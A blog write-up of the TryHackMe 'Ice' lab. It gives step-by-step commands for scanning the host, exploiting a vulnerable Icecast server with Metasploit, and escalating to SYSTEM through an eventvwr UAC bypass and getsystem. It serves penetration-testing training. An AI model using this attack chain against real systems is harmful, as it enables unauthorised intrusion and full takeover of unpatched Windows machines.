Sitemap
Azzam Mohammed (WHHacker)

Azzam Mohammed (WHHacker)

Curious about how real-world systems are attacked and defended, sharing my ongoing journey into penetration testing.

Ice — TryHackMe

5 min readFeb 23, 2026

--

Press enter or click to view image in full size

Introduction

In this writeup, we will walk through the compromise of the Ice machine from TryHackMe. As in my previous writeups, the goal here is not to solve CTF-style questions or simply provide answers. Instead, the focus is on following a real-world penetration testing methodology: reconnaissance, service analysis, exploitation, post-exploitation, and privilege escalation.

The Ice machine is a beginner-to-intermediate level Windows challenge that simulates a vulnerable web service environment. It closely resembles scenarios encountered in entry-level penetration testing certifications such as the eJPT. The lab focuses on identifying vulnerable services, leveraging public exploits, and escalating privileges within a Windows system.

Reconnaissance & Enumeration

As always, the first step in any penetration test is enumeration.

We begin with a full TCP port scan:

nmap -sV -p- -T4 <target-ip> -oN nmap-scan.txt
Press enter or click to view image in full size
  • -sV → Service version detection
  • -p- → Scan all 65,535 TCP ports
  • -T4 → Faster timing for lab environment
  • -oN → Save output for documentation

The scan revealed that port 8000/tcp was open and running:

Icecast streaming media server

Other typical Windows services may also appear, but the most interesting exposed service was the Icecast web service.

visiting :

http://<target-ip>:8000
Press enter or click to view image in full size

Returned :

“The source you requested could not be found.”

Even though the page looked minimal, the service banner clearly identified the software.

This immediately shifts focus toward:

  • Version identification
  • Public vulnerability research

Service Analysis & Vulnerability Identification

After identifying that port 8000 was running an Icecast streaming media server, the next step was to determine whether the service was vulnerable to any publicly known exploits.

Instead of immediately searching online exploit databases, I first used searchsploit locally to check for known vulnerabilities related to Icecast:

searchsploit icecast
Press enter or click to view image in full size

This returned multiple results. Among them, one entry stood out:

Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)

The fact that it specifically mentions (Metasploit) confirms that exploitation can be performed directly through the framework.

Exploitation

Launching Metasploit

msfconsole -q

Search for available Icecast modules:

search icecast
Press enter or click to view image in full size

From the results, the appropriate exploit module was selected (index 0 in this case):

use 0

Review required configuration options:

options
Press enter or click to view image in full size

Configure the target:

set RHOSTS <target-ip>
set LHOST <attacker-ip>
run
Press enter or click to view image in full size

After execution, the exploit successfully triggered the vulnerability and established a session.

Privilege Escalation

Local Enumeration :

After gaining initial access via the Icecast exploit, the next step was to understand the privilege level of the compromised session.\

Get Azzam Mohammed (WHHacker)’s stories in your inbox

Join Medium for free to get updates from this writer.

Inside Meterpreter :

getuid

outputs : Server username: Dark-PC\Dark

This confirms that we are not SYSTEM, but a standard user account (Dark).

sysinfo

Output revealed:

OS: Windows 7 (6.1 Build 7601, Service Pack 1)

Architecture: x64

Meterpreter session: x86

Domain: WORKGROUP

getprivs

Output revealed:

SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

Press enter or click to view image in full size

Instead of manually testing each possibility, Metasploit provides a powerful reconnaissance module to suggest possible local exploits.

Let’s use Local Exploit suggester

First, background the current session:

background
Press enter or click to view image in full size

Confirm session ID:

sessions
Press enter or click to view image in full size

Searching for the Module :

search suggester
Press enter or click to view image in full size

This reveals:

post/multi/recon/local_exploit_suggester

Load the module and set the session :

use 0
set SESSION 1
run
Press enter or click to view image in full size

Here we got :

exploit/windows/local/bypassuac_eventvwr
Press enter or click to view image in full size

This module abuses a known UAC bypass technique in Windows 7.

Load the exploit:

use exploit/windows/local/bypassuac_eventvwr

Check required options:

options
Press enter or click to view image in full size

Note: The module requires a new listener because it spawns a new elevated session.

Configure the module:

set SESSION 1
set LHOST <attacker-ip>
set LPORT 1234
run
Press enter or click to view image in full size

Here we got a new Meterpreter session …

Check user context:

getuid

At first glance, it still appears as the same user — but this is misleading.

The difference is that this session now has a high-integrity token, meaning it can escalate further.

Now that we have elevated privileges (UAC bypassed), we can attempt:

getsystem

And here we got :

Server username: NT AUTHORITY\SYSTEM
Press enter or click to view image in full size

Check token privileges:

getprivs
Press enter or click to view image in full size

Privilege escalation successful.

Conclusion

The Ice machine shows how an exposed and outdated service can quickly lead to full system compromise. By properly enumerating the target, identifying the vulnerable Icecast service, and exploiting it, initial access was obtained. From there, local enumeration revealed a privilege escalation path through a UAC bypass, which ultimately led to SYSTEM-level access.

This challenge highlights the importance of patch management, proper service configuration, and secure privilege controls in Windows environments. A single vulnerable service combined with weak system hardening is enough to compromise the entire machine.

--

--